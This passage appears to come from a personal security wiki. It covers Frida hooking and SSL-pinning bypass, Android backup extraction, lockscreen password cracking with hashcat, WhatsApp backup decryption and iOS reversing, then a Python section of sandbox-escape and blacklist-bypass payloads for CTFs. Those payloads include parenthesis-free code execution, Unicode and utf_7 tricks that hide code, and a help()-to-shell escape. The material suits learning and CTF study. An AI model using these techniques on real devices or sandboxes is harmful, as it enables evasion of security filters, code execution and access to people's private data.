238365 ms  memcpy(0x743cd947ab90, "super secret password", 21)
```

{% endcode %}

## Scripts

Instead of analyzing an application that is already running, scripts allow you to automate any JavaScript code from the **start** of an application. You can **run** a saved script as follows:

```bash
frida -U -f com.example.app -l script.js
```

{% hint style="info" %}
`-U` means connect to USB device (ADB)

`-f` means start app with this name

`-l` means run this script on launch
{% endhint %}

Alternatively, you can also do the same from Python:

<details>

<summary>Python Script Template</summary>

{% code title="Requirements" %}

```bash
pip install frida
```

{% endcode %}

<pre class="language-python" data-title="Python"><code class="lang-python">import frida
import frida_tools
import os

APP = "com.example.app"

# Put any JavaScript in the string below
script = """
<strong>...
</strong>"""

def main():
    try:
        device = frida.get_usb_device()
        pid = device.spawn([APP])
        session = device.attach(pid)
        script_instance = session.create_script(script)
        script_instance.load()
        device.resume(pid)
        print(f"Script injected into {APP}.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()
    input("Press Enter to exit...")  # Keep the script running until user input
</code></pre>

</details>

From here, the functionality is very similar to [#tracing](#tracing "mention"). But instead of logging values, this is more useful for altering the functionality of apps. You can overwrite functions and call them however you want, very powerful for quickly testing something and retrying without having to set up the trace all over again.

{% hint style="success" %}
**Tip**: Inside of the script shell (`->` ) you can run `%reload` to re-run your script if you changed it without restarting the app. This can be useful for quick iteration where hooking as quickly as possible doesn't matter.
{% endhint %}

### SSL Pinning

Some applications, for the sake of security, implement extra checks to try and prevent them from being reverse engineered. One of these checks is to see if any unexpected certificates are used for the HTTPS communication, like configured in [HTTP(S) Proxy for Android](/mobile/http-s-proxy-for-android#install-certificate-authority-https). Luckily, all of this detection happens on-device, so we can *change* the application's behavior slightly to bypass such checks and debug normally.

Download and run the following script and your app will likely magically be HTTPS-interceptable again. It implements function overrides for many built-in ways to verify certificates.

{% embed url="<https://codeshare.frida.re/@ahrixia/root-detection-and-ssl-pinning-bypass/>" %}
Frida Root Detection and SSL Pinning Bypass script by @ahrixia
{% endembed %}

### Calling Java functions

One of the most basic but useful features is calling Java functions and methods from within a script. This can be to automate something that's hard to recreate outside of the app.

Firstly, [`Java.perform()`](https://frida.re/docs/javascript-api/#java-perform) is called to hook into the JVM. It takes a function as its first argument which now has access to Java classes with [`Java.use()`](https://frida.re/docs/javascript-api/#java-use).\
You can instantiate classes by calling `.$new()` on them with any arguments, then call methods. For static classes you can immediately call them on the class object itself. Even if they're `private`!

{% code title="Example" %}

```javascript
Java.perform(function () {
  var MathUtils = Java.use("com.google.android.material.math.MathUtils");
  // Calling a static function
  console.log(MathUtils.dist(0, 0, 1, 1));  // 1.41421...

  var Dimension = Java.use("androidx.constraintlayout.core.state.Dimension");
  // Constructing an object, then calling a method
  var dimension = Dimension.$new();
  console.log(dimension.getValue());
});
```

{% endcode %}

### Overwriting Java functions

Another useful idea is overwriting existing functions that then get called by the app. This is done by assigning their `.implementation` property to a custom function that takes the same arguments as the regular method/function. Then returning a value here would also return it in the Java-world.

Below is an example that in addition to the above uses `overload()` to find the specific `onCreate` method that uses a `Bundle` argument. It does so on the `MainActivity` class of the app, essentially overwriting its initializer. You can call the regular method again with `this.onCreate(bundle)`.\
The use of this specific snippet is hooking the `MainActivity.onCreate` method when it's complete so that you can call any other methods on it afterward via `this`.

{% code title="Get MainActivity instance" %}

```javascript
Java.perform(function () {
  // Get MainActivity class
  var MainActivity = Java.use("com.example.app.MainActivity");
  // Overwrite the `.onCreate(Bundle)` method
  MainActivity.onCreate.overload("android.os.Bundle").implementation = function (bundle) {
    console.log("onCreate called");
    this.onCreate(bundle);  // Call original function

    // From here on, `this` refers to the `MainActivity` instance
    console.log(this.win());
  }
});
```

{% endcode %}

And another one to overwrite a return value:

```javascript
MainActivity.check.implementation = function (input) {
    console.log("Input:", input);
    return true;  // Always return true instead of performing a "check"
}
```


# Android Backup

Extracting information from an Android Backup (.ab) file

## Reading files in the Backup

To extract and browse files from an Android Backup, use android-backup-extractor (`abe.jar`):

{% embed url="<https://github.com/nelenkov/android-backup-extractor/releases>" %}
Tool to extract files from an android backup
{% endembed %}

When you have the latest release downloaded, simply start it with java to unpack your `.ab` file into a `.tar` file:

```shell-session
java -jar abe.jar unpack backup.ab backup.tar [password]  # Unpack into TAR
mkdir backup  # Create final directory
tar -xvf backup.tar -C backup  # Extract files from TAR into directory
```

{% hint style="info" %}
The password is only required if the backup is encrypted, in which case you will want to find a password somewhere to extract it.
{% endhint %}

{% hint style="warning" %}
If you are having trouble unpacking the .ab file into a .tar file, you can try to manually do it by prepending a few bytes like with the following command:

```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00"; tail -c +25 backup.ab ) | tar xfvz -
```

{% endhint %}

After this is extracted, you can explore the created folder and see all the files that were stored in the backup.

## Cracking Android Password

([source](https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/))

When you have access to the files on an Android device, you can find a hash of the password/PIN used to unlock the device. Often you will find such a key in the `/data/system/password.key` file. It contains a hex-encoded string which is a combination of the SHA1 hash, as well as the MD5 hash. For example:

{% code title="password.key" %}

```
1136656D5C6718C1DEFC71B431B2CB5652A8AD550E20BDCF52B00002C8DF35C963B71298
```

{% endcode %}

{% hint style="warning" %}
If you cannot find this file, you might have **multiple users**. See [this section](https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/) on how to extract a password for each user.
{% endhint %}

This key is computed like so:

```
SHA1(password + salt) + MD5(password + salt)
```

These can be split by taking the first 40 characters as a SHA1 hash, and the leftover 32 characters as the MD5 hash:

```json
SHA1: 1136656D5C6718C1DEFC71B431B2CB5652A8AD55
MD5:  0E20BDCF52B00002C8DF35C963B71298
```

### Finding the Salt

Then the final thing required is the **salt** for the hash. You can find it by looking for the settings SQLite database. Commonly it is found in the following locations:

<table><thead><tr><th width="204">Version</th><th>Database Location</th></tr></thead><tbody><tr><td>Android <strong>1.0-4.0</strong></td><td><code>/data/data/com.android.providers.settings/databases/settings.db</code></td></tr><tr><td>Android <strong>4.1+</strong></td><td><code>/data/system/locksettings.db</code></td></tr></tbody></table>

You can simply connect to it with the sqlite3 command:

```shell-session
sqlite3 locksettings.db
```

Then you can find the password salt by running the following query:

```sql
sqlite> select value from locksettings where name='lockscreen.password_salt';
3582477098377895419
```

This is simply a number, and to get it into the regular salt string, you need to convert it to lowercase hexadecimal notation (without the `0x`):

{% code title="Python" %}

```python
>>> hex(3582477098377895419)[2:]
'31b783f0b0c95dfb'
```

{% endcode %}

### Cracking with Hashcat

Finally, now that we have the hashed password and salt, we can get to actually cracking it. We have two hashes, an MD5 hash, and a SHA1 hash. They are both from the same password and salt, so we can just choose one of the two. Since the MD5 hash is a lot faster to compute, we will use that for cracking.

The correct hashcat mode is `-m 10`, as this is `md5($pass.$salt)` seen in the [example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes). That page also gives us the format hashcat expects from the hash. We will first put the MD5 hash, followed by a `:` colon, and finally the salt value in hex.

{% code title="hash.txt" %}

```
0e20bdcf52b00002c8df35c963b71298:31b783f0b0c95dfb
```

{% endcode %}

The `locksettings.db` file can also reveal what kind of password is used, which helps with deciding what pattern to crack. Simply run the following query on the database and see what it means:

```sql
sqlite> select value from locksettings where name='lockscreen.password_type';
131072
```

<table><thead><tr><th width="173" align="right">password_type</th><th>Meaning</th></tr></thead><tbody><tr><td align="right">32768</td><td><code>LowLevelBiometricSecurity</code>: implies technologies that can recognize the identity of an individual to about a 3-digit PIN (i.e. face)</td></tr><tr><td align="right">65536</td><td><code>PatternPassword</code>: any type of password is assigned on the device (i.e. pattern)</td></tr><tr><td align="right">131072</td><td><code>NumericPasswordBasic</code>: numeric password is assigned to the device</td></tr><tr><td align="right">196608</td><td><code>NumericPasswordAdvanced</code>: numeric password with no repeating (4444) or ordered (1234, 4321, 2468, etc.) sequences</td></tr><tr><td align="right">262144</td><td><code>AlphabeticPassword</code>: alphabetic password</td></tr><tr><td align="right">327680</td><td><code>AlphanumericPassword</code>: alphabetic and numeric password</td></tr><tr><td align="right">393216</td><td><code>ComplexPassword</code>: alphabetic, numeric, and special character password</td></tr></tbody></table>

Then finally, you can start hashcat to crack the password, for example:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ hashcat -m 10 hash.txt -a 3 ?d?d?d?d
</strong>0e20bdcf52b00002c8df35c963b71298:31b783f0b0c95dfb:1337
</code></pre>

{% hint style="info" %}
For more details on hashcat options, see [Cracking Hashes](/cryptography/hashing/cracking-hashes#hashcat).
{% endhint %}

## WhatsApp Messages

When you have access to the files of a device, you might find that it contains Whatsapp messages stored in a backup. These are often said to be encrypted, but the key to decrypt them is also stored along the same files. You simply have to use a tool to decrypt them, and one such tool is whatsapp-viewer:

{% embed url="<https://github.com/andreas-mausch/whatsapp-viewer/releases>" %}
A GUI application for decrypting and viewing Whatsapp databases
{% endembed %}

To use this tool, you need a couple of files. Firstly, the key for decrypting the databases. This key can be stored in a couple of different locations, but the simplest way is to just search for a path with "whatsapp" and "key" to find a single file named `key`:

```shell-session
$ find | grep -i whatsapp | grep -i key
./apps/com.whatsapp/f/key
```

Now that we have the key, we can get the database with messages and contacts to decrypt. To find the directory containing the databases, simply search for it again:

```shell-session
$ find -type d | grep -i whatsapp | grep -i databases
./shared/0/WhatsApp/Databases
```

In this directory, you will find a `msgstore.db` file, and optionally a `wa.db` file containing contact information. With these files, you can start WhatsApp Viewer, and depending on the `.crypt` version of your database, you can go to **File** -> **Decrypt .crypt\[N]**. From there select your database and key file, decrypt it, and select an output file location.

This output file is now the SQLite database unencrypted which you can view with `sqlite3`:

<pre class="language-sql"><code class="lang-sql"><strong>$ sqlite3 messages.decrypted.db
</strong><strong>sqlite> .tables
</strong>...
message
...
<strong>sqlite> SELECT * FROM message;
</strong>...
</code></pre>


# Compiling C for Android

Compile and run C programs on Android to debug pieces of code

Android runs on Unix and is very much capable of running programs compiled with C. The only catch is that it uses some specific architectures which means specific compilers should be used to generate the binary. This can be very useful in viewing the output of a C library like compiled JNI functions for example.

Imagine we reverse-engineered a JNI function that uses a seeded random or the filesystem, which we can't easily replicate on a local Linux machine. We could copy [Ghidra](/reverse-engineering/ghidra)'s decompiled code into a simple C program that prints the output like this one:

```c
#include <stdio.h>
#include <stdlib.h>

int iVar1;
char __s[0x21];

int main() {
    srand(0x1ca3);
    long lVar4 = 0;
    do {
        iVar1 = rand();
        __s[lVar4] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[iVar1 % 0x3e];
        lVar4 = lVar4 + 1;
    } while (lVar4 != 0x20);

    __s[0x20] = '\0';

    printf("Key: %s\n", __s);
}
```

In the original code, this was a variable, but I've added the `printf` to extract this value and read it instead. Running this locally might give different results than if it actually ran on the mobile device, so we need to compile it with a specific Android compiler for the device to understand.

From [here](https://stackoverflow.com/a/13259266/10508498), you can compile a program using the Android [Native Development Kit](https://developer.android.com/ndk/downloads). It contains many prebuilt compilers for many different architectures and versions. Simply download and extract the zip linked above and look at the `toolchains/llvm/prebuilt/linux-x86_64/bin` directory to find all the compilers for both C and C++. Here you can choose one of the architectures like `armv7a` or `aarch64` (ARMv8-A), together with the correct Android API version your device uses, see the link below for a translation table:

{% embed url="<https://apilevels.com/>" %}
Big table of all Android API versions and their corresponding names and numbers
{% endembed %}

{% hint style="warning" %}
Some devices don't use ARM and should use regular `x86_64` instead. In this case, simply use the `x86_64-linux-androidXX-clang` compiler instead
{% endhint %}

Use these binaries like you would any other `gcc` compiler, for example:

```shell-session
x86_64-linux-android27-clang program.c -o program
```

Then you can copy this binary over to the device using ADB, and run it:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ adb push ./program /data/local/tmp/program
</strong><strong>$ adb shell
</strong><strong># cd /data/local/tmp/
</strong><strong># file program
</strong>program: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /system/bin/linker64, not stripped
<strong># ./program
</strong>Key: zxzaKk5uLHdoKo9y8osZSnTe5DCdrIX0
</code></pre>


# iOS

Reverse Engineering iOS applications in .app format

iOS apps are not as easily reverse-engineered as most Android apps, because they are compiled into a binary. When you run the `file` command on the binary, you should see Mach-O which confirms this is an iOS application:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ file app
</strong>app: Mach-O 64-bit x86_64 executable, flags:&#x3C;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
</code></pre>

## Decompiling

To reverse engineer this binary, it is basically the same procedure as reversing any other ELF binary for example. You can use a decompiler to get some insight into the code structure, and what functions are called.

There is a lot of source code from built-in Apple functions, so **searching for function names** is often a good idea to understand what it is doing, instead of guessing or reversing by hand. For example, the `CCCrypt()` function has the following arguments ([source](https://github.com/apple-oss-distributions/CommonCrypto/blob/a0ac082c490b65585ade764511acfdbf1d97bc5e/include/CommonCryptor.h#L620)):

```c
CCCryptorStatus CCCrypt(
	CCOperation op,			/* kCCEncrypt, etc. */
	CCAlgorithm alg,		/* kCCAlgorithmAES128, etc. */
	CCOptions options,		/* kCCOptionPKCS7Padding, etc. */
	const void *key,
	size_t keyLength,
	const void *iv,			/* optional initialization vector */
	const void *dataIn,		/* optional per op and alg */
	size_t dataInLength,
	void *dataOut,			/* data RETURNED here */
	size_t dataOutAvailable,
	size_t *dataOutMoved);
```

In addition to this, `enum`s are also useful to know, as the numbers in the decompiled code might not explain what it really means:

```c
/*!
	@enum		CCOptions
	@abstract	Options flags, passed to CCCryptorCreate().
	
	@constant	kCCOptionPKCS7Padding	Perform PKCS7 padding. 
	@constant	kCCOptionECBMode	Electronic Code Book Mode (default is CBC)
*/
enum {
	/* options for block ciphers */
	kCCOptionPKCS7Padding	= 0x0001,
	kCCOptionECBMode	= 0x0002
};
```

## `.plist` files

you might find `.plist` files in the `.app` directory. These files are in a special format but can be parsed by tools such as `plistutil` into XML files:

```shell-session
$ file app.plist 
app.plist: Apple binary property list
$ plistutil -i app.plist
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
        <dict>
                <key>secret</key>
                <string>ExampleSecret</string>
                <key>id</key>
                <string>42</string>
                <key>title</key>
                <string>Some Title</string>
        </dict>
</array>
</plist>
```

## Resources

For another more practical guide and example, see this article:

{% embed url="<https://github.com/OWASP/mastg/blob/372343b4af97cffb8ffe98f59c00006b539e6eb1/Document/0x06c-Reverse-Engineering-and-Tampering.md>" %}
A walkthrough of various tasks in iOS reverse engineering
{% endembed %}


# Python

Some tricks specific to the Python language

## # Related Pages

{% content-ref url="/pages/t7dnhjOQj6tNcUgbmrkZ" %}
[Flask](/web/frameworks/flask)
{% endcontent-ref %}

## Filter Bypass

If you find yourself in some sandbox, jail, or otherwise restricted environment there are a lot of tricks to get out of it.

### RCE without parentheses

Using decorators and defined lambda functions, you can execute any code without using `(` or `)` characters. Simply the act of defining this class will execute that code in the string:

```python
code = lambda x: "import os; os.system\x28'id'\x29"

@print
@exec
@code
class a:
    pass
```

Past Python 3.9, you can even get the same code as short as this:

```python
@eval
@'__import__\x28"os"\x29.system\x28"id"\x29'.format
class _:pass
```

{% hint style="info" %}
**Note**: In the string, you can encode any other characters it doesn't accept by using `\x` hex escapes
{% endhint %}

And another completely different way using method overriding, which can even be put on a single line:

```python
exit.__class__.__add__ = exec; exit + "import os; os.system\x28'id'\x29"
```

The above method works because we overwrite the regular addition operator for the `exec()` function object. In most built-in functions, this is not allowed and you will get a `can't set attributes of built-in/extension` error. But not all built-in functions are protected like this, and a few classes exist that still allow you to overwrite their methods. You can find them all with this snippet:

<pre class="language-python"><code class="lang-python">for key, value in __builtins__.__dict__.items():
    try:
<strong>        value.__class__.__add__ = exec
</strong><strong>        print(key, value.__class__)
</strong>    except TypeError:
        pass
</code></pre>

It will print all the possible functions that allow method overriding:

<pre class="language-python"><code class="lang-python">__spec__  &#x3C;class '_frozen_importlib.ModuleSpec'>
quit      &#x3C;class '_sitebuiltins.Quitter'>
<strong>exit      &#x3C;class '_sitebuiltins.Quitter'>
</strong>copyright &#x3C;class '_sitebuiltins._Printer'>
credits   &#x3C;class '_sitebuiltins._Printer'>
license   &#x3C;class '_sitebuiltins._Printer'>
help      &#x3C;class '_sitebuiltins._Helper'>
</code></pre>

### Strings without `"` quotes

You can create arbitrary strings without using a `"` or `'` character by using the `chr()` function which takes an ASCII number:

<pre class="language-python"><code class="lang-python"><strong>>>> chr(72)+chr(101)+chr(108)+chr(108)+chr(111)+chr(44)+chr(32)+chr(119)+chr(111)+chr(114)+chr(108)+chr(100)+chr(33)
</strong>'Hello, world!'
</code></pre>

You can generate this code by converting every character to decimal:

<pre class="language-python"><code class="lang-python">string = "Hello, world!"

<strong>print("+".join(f"chr({ord(c)})" for c in string))
</strong># chr(72)+chr(101)+chr(108)+chr(108)+chr(111)+chr(44)+chr(32)+chr(119)+chr(111)+chr(114)+chr(108)+chr(100)+chr(33)
</code></pre>

#### Strings without `"` quotes or `()` parentheses

A more complicated way can be used to get strings without quotes or parentheses, using built-in strings and indexing those at specific offsets to be combined into your target string. Not all printable characters can be made in this way, but most of them can (all except `'\x0c', '\t', '#', '\x0b', '\r', '?'`).\
The most useful string attributes here are `.__doc__` and `.name`, for example, `quit.name[1]` would give you `'u'`. Using a script all of these can be found, but keep in mind that the strings might differ per Python version or context.

<details>

<summary>Precomputed dictionary (Python 3.8.10)</summary>

```python
{
    'a': 'chr.__doc__[7]', 
    'b': 'dir.__doc__[6]', 
    'c': 'dir.__doc__[9]', 
    'd': 'dir.__doc__[0]', 
    'e': 'exit.eof[10]', 
    'f': 'id.__doc__[21]', 
    'g': 'id.__doc__[43]', 
    'h': 'id.__doc__[8]', 
    'i': 'exit.eof[8]', 
    'j': 'dir.__doc__[7]', 
    'k': 'map.__doc__[40]', 
    'l': 'exit.eof[3]', 
    'm': 'id.__doc__[68]', 
    'n': 'id.__doc__[5]', 
    'o': 'dir.__doc__[5]', 
    'p': 'map.__doc__[2]', 
    'q': 'quit.name[0]', 
    'r': 'exit.eof[2]', 
    's': 'id.__doc__[38]', 
    't': 'exit.eof[1]', 
    'u': 'quit.name[1]', 
    'v': 'pow.__doc__[4]', 
    'w': 'chr.__doc__[41]', 
    'x': 'exit.name[1]', 
    'y': 'id.__doc__[18]', 
    'z': 'zip.__doc__[0]', 
    'A': 'zip.__doc__[20]', 
    'B': 'list.__doc__[0]', 
    'C': 'exit.eof[0]', 
    'D': 'exit.eof[5]', 
    'E': 'exit.eof[13]', 
    'F': 'exit.eof[15]', 
    'G': 'iter.__doc__[65]', 
    'H': 'bytes.hex.__doc__[148]', 
    'I': 'all.__doc__[66]', 
    'J': 'classmethod.__doc__[600]', 
    'K': 'set.pop.__doc__[51]', 
    'L': 'open.__doc__[3126]', 
    'M': 'map.__doc__[38]', 
    'N': 'filter.__doc__[19]', 
    'O': 'exit.eof[14]', 
    'P': 'id.__doc__[108]', 
    'Q': 'exit.__dir__.__qualname__[0]', 
    'R': 'id.__doc__[0]', 
    'S': 'pow.__doc__[78]', 
    'T': 'all.__doc__[7]', 
    'U': 'chr.__doc__[9]', 
    'V': 'int.__doc__[477]', 
    'W': 'max.__doc__[99]', 
    'X': 'BlockingIOError.errno.__doc__[4]', 
    'Y': 'float.__getformat__.__doc__[0]',
    'Z': 'input.__doc__[230]', 
    '0': 'bin.__doc__[65]', 
    '1': 'bin.__doc__[75]', 
    '2': 'bin.__doc__[60]', 
    '3': 'hex.__doc__[71]', 
    '4': 'hex.__doc__[68]', 
    '5': 'oct.__doc__[77]', 
    '6': 'bin.__doc__[63]', 
    '7': 'bin.__doc__[61]', 
    '8': 'hex.__doc__[69]', 
    '9': 'bin.__doc__[62]', 
    ' ': 'exit.eof[6]', 
    "'": 'bin.__doc__[72]', 
    '"': 'open.__doc__[3084]', 
    '!': 'range.__doc__[263]', 
    '$': 'abs.__text_signature__[1]', 
    '%': 'pow.__doc__[54]', 
    '&': 'set.__iand__.__doc__[11]', 
    '(': 'exit.eof[7]', 
    ')': 'exit.eof[16]', 
    '*': 'zip.__doc__[4]', 
    '+': 'int.__doc__[407]', 
    ',': 'map.__doc__[8]', 
    '-': 'exit.eof[4]', 
    '.': 'exit.eof[9]', 
    '/': 'open.__doc__[326]', 
    ':': 'sum.__doc__[42]', 
    ';': 'chr.__doc__[55]', 
    '<': 'chr.__doc__[59]', 
    '=': 'chr.__doc__[60]', 
    '>': 'set.__doc__[7]', 
    '@': 'super.__doc__[402]', 
    '[': 'dir.__doc__[4]', 
    '\\': 'print.__doc__[32]', 
    '\n': 'id.__doc__[33]', 
    ']': 'int.__doc__[6]', 
    '^': 'set.__ixor__.__doc__[11]', 
    '_': 'dir.__doc__[279]', 
    '`': 'open.__doc__[1908]', 
    '{': 'dict.__doc__[186]', 
    '|': 'False.__or__.__doc__[11]', 
    '}': 'dict.__doc__[187]', 
    '~': 'False.__invert__.__doc__[0]', 
}
```

</details>

<details>

<summary>Python Source Code for Searching</summary>

This piece of code I made will recursively go through all the properties in `__builtins__` using a Breadth First Search algorithm. It tries to find the shortest possible chain of attributes to get the desired letter while skipping entries it has already seen.

You can run it in a similar environment to your target.

```python
import string


def check_methods(needed_letters, obj, attrs):
    checked = []
    best = {}
    queue = [(getattr(obj, attr), [attr]) for attr in attrs]

    # Breadth First Search
    while queue:
        obj, path = queue.pop(0)

        for key in dir(obj):
            try:
                value = getattr(obj, key)
            except AttributeError:
                continue  # Some attributes are false positives for some reason

            unique = repr(value).split('at 0x')[0]  # Remove memory address (will be different while being the same object)

            if unique in checked:
                continue  # Skip the same object

            new_path = path + [key]
            if isinstance(value, str):
                # Check if it has any of the needed letters
                for letter in needed_letters:
                    try:
                        index = value.index(letter)
                        code = f"{'.'.join(new_path)}[{index}]"

                        if letter not in best or len(code) < len(best[letter]):
                            best[letter] = code
                            print(f"{letter!r}: {code}")

                    except ValueError:
                        pass  # Letter not found

            checked.append(unique)
            queue.append((value, new_path))  # Explore child attributes

    return best


goal = 'import os; os.system("id")'
# goal = string.printable

# Remove false positive (__doc__ != __builtins__.__doc__)
objs = filter(lambda o: not o in ["__doc__"], dir(__builtins__))

needed_letters = set(string.printable)
best = check_methods(set(goal), __builtins__, objs)
print()
print(best)

# Check if entire goal is achievable
assert set(best.keys()) == set(goal), set(goal) - set(best.keys())

result = "+".join(best[l] for l in goal)
print()
print(result)
```

As an example, my Python 3.8.10 creates the following payload:

{% code title="import os; os.system(" %}

```python
exit.eof[8]+id.__doc__[68]+map.__doc__[2]+dir.__doc__[5]+exit.eof[2]+exit.eof[1]+exit.eof[6]+dir.__doc__[5]+id.__doc__[38]+chr.__doc__[55]+exit.eof[6]+dir.__doc__[5]+id.__doc__[38]+exit.eof[9]+id.__doc__[38]+id.__doc__[18]+id.__doc__[38]+exit.eof[1]+exit.eof[10]+id.__doc__[68]+exit.eof[7]+open.__doc__[3084]+exit.eof[8]+dir.__doc__[0]+open.__doc__[3084]+exit.eof[16]
```

{% endcode %}

</details>

### Blacklist Bypass

Some tricks to bypass specific dangerous-sounding words being blacklisted.

#### Minimal file read using `license()`

If you can set the `._Printer__filenames` attribute to the built-in `license()` function you can change the function where it gets the license text data from. When you then afterward call the `license()` function it will use the overwritten files instead and print the data to STDOUT.

<pre class="language-python"><code class="lang-python"><strong>>>> license._Printer__filenames=["flag.txt"]
</strong><strong>>>> license()
</strong>CTF{...}

<strong>>>> l=license;l._Printer__filenames=["flag.txt"];l()  # 48 bytes
</strong>CTF{...}
</code></pre>

#### Dictionary access bypassing string

If the "system" keyword is blacklisted for example, but you still want to execute the function for shell commands, you can try to access it using a string like `"sys"+"tem"` which technically doesn't include "system" when checking the input. But while executing these get combined into the required string.

To access a function in this way, you cannot directly index it on the `os` module. For these dictionary accesses, you need to access a real dictionary, not a module object. Luckily, there are methods on modules that give such a dictionary interface, like `.__dict__`. If this is also blacklisted, there may be other creative ways of accessing the same function again.

<pre class="language-python"><code class="lang-python"># Imagine you already can access the `os` module
>>> __import__("os")
&#x3C;module 'os' from '/usr/lib/python3.8/os.py'>
# Use __dict__ to get a simple dictionary of its attributes
<strong>>>> __import__("os").__dict__["system"]
</strong>&#x3C;built-in function system>
# Alternatively use any existing function, and walk back with __globals__
<strong>>>> os.walk.__globals__["system"]
</strong></code></pre>

<details>

<summary>Brute-Force script for attribute accessing (BFS)</summary>

This is often a bit of guesswork of trying to access various special attributes to end up where you want. To ease in the creation of these types of chains I made a small script to brute-force all attributes from a root node until the target is reached.

<pre class="language-python"><code class="lang-python">import traceback  # Imagine target script already has this gadget imported
import os

BLACKLIST = ['builtins', 'dir', 'local', 'dict', 'attr', 'eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']


def path_string(root, path):
    result = root
    for key, is_dict in path:
        result += f'["{key}"]' if is_dict else f'.{key}'

    return result


# First argument will be eval'ed as root, second argument is target to reach
def search(root, target):
    checked = []
    queue = [(eval(root), [])]

    # Breadth First Search (BFS)
    while queue:
        obj, path = queue.pop(0)

        if type(obj) == str:  # Skip strings (useless, and a bit faster)
            continue
        elif type(obj) == dict:
            objs = obj.keys()
        else:
            objs = dir(obj)

        for key in objs:
            try:
                is_dict = any(banned in key for banned in BLACKLIST)

                value = obj[key] if is_dict else getattr(obj, key)
            except (TypeError, AttributeError, KeyError):
                continue

            unique = repr(value).split('at 0x')[0]  # Remove memory address (will be different while being the same object)

            if unique in checked:
                continue  # Skip the same object (delete to find all paths, but is really slow)

            new_path = path + [(key, is_dict)]

            if value == target:
                return path_string(root, new_path)

            checked.append(unique)
            queue.append((value, new_path))  # Explore child attributes


# Try to find a path to os.system from the traceback module
<strong>print(search("traceback", os.system))  # traceback.sys.modules["os"]._exists.__globals__["system"]
</strong># ^^ these strings can then easily be escaped like "o"+"s" and "sys"+"tem" to bypass
</code></pre>

</details>

#### Unicode Bypass

Python normalizes Unicode characters for names, so they can be used if the check does not do this normalization. You can use Unicode characters to replace names that would normally be blocked. For example, the following payload does not contain the string "open" or "read":

```python
𝘰𝘱𝘦𝘯("flag").𝘳𝘦𝘢𝘥()
```

Instead, it uses the 'Mathematical Sans-Serif Italic' (U+1D608...) characters which will normalize to ASCII letters when Python is executed (notice the slanted characters). You can create arbitrary payloads with a script like the following:

```python
BLACKLIST = ["open", "read"]

def to_unicode(s):
    alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    return ''.join([chr(alphabet.index(c) + 0x1D608) if c in alphabet else c for c in s])

def obfuscate(payload):
    for word in BLACKLIST:
        payload = payload.replace(word, to_unicode(word))

    return payload

print(obfuscate('open("flag").read()'))  # 𝘰𝘱𝘦𝘯("flag").𝘳𝘦𝘢𝘥()
```

{% hint style="success" %}
If a **shorter** payload (fewer bytes) is needed, you can mix and match these Unicode characters in your payload. These Unicode characters take up 4 bytes each, but you will likely **only need one** in your blacklisted word to bypass it, requiring the penalty once. For example, with only the first character encoded:

```python
𝘰pen("flag").𝘳ead()
```

{% endhint %}

This idea can also be used in rare scenarios to make your original payload shorter, by compressing two characters into one. Below is a script that finds such cases for a target string:

<pre class="language-python"><code class="lang-python">import re

def is_ascii(s):
    return all(0 &#x3C;= ord(c) &#x3C; 128 for c in s)

for i in range(65536):
    try:
        eval(chr(i))
    except (ValueError, SyntaxError):
        continue
    except NameError as e:
        converted = re.findall(r"(?&#x3C;=name ')(.*?)(?=')", str(e))[0]
        if is_ascii(converted):
<strong>            if len(converted) > 1 and converted in "jorianjorian":
</strong>                print(i, chr(i), converted)
</code></pre>

> `460 ǌ nj`

The identifier `jorianjorian` can be replaced with `joriaǌorian`, saving one character.

{% hint style="info" %}
See [this site](https://gosecure.github.io/unicode-pentester-cheatsheet/) for a table of all Unicode transformations, as this trick is far from the only one. Look for "Normalization NFKC" as Python uses it for resolving function names
{% endhint %}

#### AST Bypass using magic comment

When your payload is stored as a file and run, instead of just being evaluated, it is interpreted as a *module*. This small difference adds a possible trick using [**magic comments**](https://docs.python.org/3/reference/lexical_analysis.html#encoding-declarations) that define an encoding for the rest of the file. A [list of languages can be found here](https://docs.python.org/3/library/codecs.html#standard-encodings), which includes odd ones like `unicode_escape`, `unicode_escape_raw` or `utf_7`. ([read writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy))

These can be abused in an AST scenario because comments are ignored while parsing, and it assumes UTF-8. With this, we can add a hidden newline after a comment to insert more code, while in UTF-8 this newline will be seen as part of the comment and is ignored while parsing the AST.

Take the following example:

{% code title="Payload" %}

```python
# coding: utf_7
def f(x):
    return x
    #+AAo-__import__("os").system("id")
```

{% endcode %}

This executes the `id` shell command when run, while it looks like it only defines a function:

{% code title="AST Representation" %}

```python
Module(
    body=[
        FunctionDef(
            name='f',
            args=arguments(
                posonlyargs=[],
                args=[
                    arg(arg='x')],
                kwonlyargs=[],
                kw_defaults=[],
                defaults=[]),
            body=[
                Return(
                    value=Name(id='x', ctx=Load()))],
            decorator_list=[])],
    type_ignores=[])
```

{% endcode %}

### Overwriting variables

Sometimes you can abuse the environment that is sandboxing/evaluating your input, by altering it with your code. If there is a `blocked` list for example, you may be able to overwrite it with an empty array to disable the filter in your next attempt. You can get creative with whatever variables you can alter to get an exploitable effect.

When it is possible to overwrite a *function* that will be called, a simple way out is to call the `help()` function. This provides an interactive shell where you can get help pages about Python objects. When the content is sufficiently large, you will be put into a `less` editor where you can scroll around, but more importantly, [escape](https://gtfobins.github.io/gtfobins/less/#shell)!

<pre class="language-python"><code class="lang-python"><strong>>>> help()
</strong><strong>help> str
</strong>Help on class str in module builtins:

class str(object)
 |  str(object='') -> str
 |  str(bytes_or_buffer[, encoding[, errors]]) -> str
 |
...
<strong>:!/bin/sh
</strong>$ id
